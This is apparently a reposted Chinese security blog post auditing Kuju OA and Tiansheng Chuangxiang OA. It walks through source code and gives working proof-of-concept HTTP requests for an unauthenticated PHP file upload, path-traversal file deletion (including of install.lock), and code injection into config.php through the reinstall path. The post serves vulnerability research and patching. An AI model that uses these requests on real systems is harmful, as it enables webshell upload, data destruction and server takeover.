暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

记一次对苦菊OA+天生创想OA协同办公系统​的审计分析

Master学安全 2021-07-13
2089

以下内容仅供技术研究学习使用!

严禁用于非法操作!

切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!


介绍

天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,融合了天生创想OA长期从事管理软件开发的丰富经验与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限制。

:天生创想OA协同网络办公系统和苦菊OA这两个是一样的都存在以下问题


当前环境

Apache2.4.39

PHP版本5.3.29

版本:V2019,PHPOA V4.0


漏洞审计

0X01 未授权任意文件上传

漏洞地址:D:\phpstudy_pro\WWW\kuju2019\upload\UploadHandler.php

/Upload/index.php 有包含UploadHandler.php

分析index.php执行流程

包含了数据库配置文件连接数据库

最后包含UploadHandler.php文件实例化UploadHandler类

Userid函数判断是哪个用户上传的

打开UploadHandler.php找到漏洞函数

handle_file_upload函数存在任意文件上传未校验上传的后缀

简单看一下1062行生成文件名给upload_dir然后if判断是否不存在生成文件名一样的目录

实例化调用get_upload_path并传递后缀过去

判断是有后缀名没有就未空version没有值为false执行else语句块返回路径+文件名+后缀给file_path

判断文件,类型赋值给append_file再if判断文件是否是http post上传的

Echo输出临时文件和指定文件

1074行判断append_file为false执行move_uploaded_file函数移动文件把临时文件移动到指定的文件并且未校验cookie可以直接未授权上传

直接成功上传

Shell地址:http://www.kuju.com/data//uploadfile//1//1614235203.php

POC:

    POST upload/index.php?userid=1 HTTP/1.1
    Host: www.kuju.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
    Accept: application/json, text/javascript,*/*; q=0.01
    Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer:http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554
    Content-Length: 256
    Origin: http://www.kuju.com
    Connection: close

    -----------------------------115858488212690034922831875554
    Content-Disposition: form-data;name="files[]"; filename="1.php"
    Content-Type: text/plain

    <?php
    echo 123;
    phpinfo();
    ?>

    -----------------------------115858488212690034922831875554—

     

    0X02 任意文件上传

    漏洞地址:D:\phpstudy_pro\WWW\kuju2019\uploadclass.php

    Upload.php处理文件上传打开upload.php

    第6行包含了uploadclass.php并且实例化类

    调用uploadclass.php upload_file的函数获取文件类型,名称,大小等

    最后调用了seve函数打开uploadclass.php查看seve函数

    跟进get_compare_extention()函数

    get_compare_extention()函数调用了把extention_list变量用explode函数分割赋值给ext

    追踪extention_list的值

    在75行发现set_extention函数有赋值给extention_list先实例化类然后调用config_data把‘uploadtype’键赋值给了extention_list

    Echo extention_list的值看看

    ‘uploadtype’的值都是后缀名

    回到seve函数追踪check_extention()函数

     


    check_extention()函数for循环ext后缀判断后缀是否是ext中的一个不是就输出允许的后缀extention_list

     

    doc|docx|xlsx|jpg|gif|rar|txt|zip|pdf|xls|ppt|esp|cad|3ds|img|psd|pdf|ai|log|mdb|pot|csv|png

    剩下的就是些无关紧要的东西了,只要‘uploadtype’键里的值可控就可以上传任意文件

    在后台登录页-》系统设置-》附件上传类型:

    添加新的后缀php,上传头像

    http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php

    成功getshell

     

    0X03 任意文件删除

    漏洞地址:D:\phpstudy_pro\WWW\kuju2019\include\dbbackup.class.php

    调用了/mana/目录下的mod_data.php文件打开它

    最后一行elseif判断do等于upload执行语句块

    Echo 对象调用del函数删除成功就输出备份删除成功

    追踪del函数

    if判断传递过来的是否为数组然后foreach循环删除即使不是数组在333行再单独删除一次

    删除文件未校验后缀和未过滤../,导致攻击者可以跨目录删除任意文件

    默认备份地址是/data/db/在/db/目录外新建一个1.php

    成功删除1.php

    可利用任意文件删除导致系统重装删除\cache\install.lock

    POC:

      POST/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
      Host: www.kuju.com
      User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
      Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Referer: http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_import
      Content-Type:application/x-www-form-urlencoded
      Content-Length: 37
      Origin: http://www.kuju.com
      Connection: close
      Cookie:toa_auth=MQk4MWRiMDNkZTA5ZWYxZWIyYjc5NjBkNDNmMWEwY2U3MQ%3D%3D; my_expand_3=;my_expand_all_3=
      Upgrade-Insecure-Requests: 1

      choice[]=../1.php&do=%E5%88%A0+%E9%99%A4

       

       

      0X04 重装系统Getshell

      漏洞地址:D:\phpstudy_pro\WWW\kuju2019\install\install.php

      判断用户是否填写完全了然后去创建数据库

      然后到309行写文件

      Fopen读取config文件赋值给fp追踪config变量是从那里过来的

      在108行知道了config文件地址

      311行filesize检查文件大小读取文件赋值给content接着打开config.php文件

      最后用preg_replace检查替换file_put_contents写入到config.php中

      把payload写进去:');phpinfo();//

      到这个页面成功创建数据库也代表payload成功插入进去了

      访问http://www.kuju.com/config.php

      成功getshell打开config.php

      这里没有包含include/common.php单引号就不会被\反斜杠转义

      利用条件php版本<=5.4.45因为 magic_quotes_gpc 5.4以上版本都被移除了

      如果对方php版本>5.4也是可以利用的但是要在php.ini设置magic_quotes_gpc = Off

      关闭gpc即可利用

      =================================

      精彩推荐

      IOT&无线电|SDR嗅探GSM网络

      SRC实战|记一次edusrc挖掘艰难Getshell

      IOT&无线电|BadUSB HID攻击

      =================================

      看到这了就点个关注支持以下吧,你的关注是我创作的动力。

      公众号:Master学安全

                       
                                   Master学安全                                  
      分享记录一些自己网络安全方面的学习历程。专注于研究web安全、代码审计,内网安全,IOT&无线电安全
      公众号


      文章转载自Master学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

      评论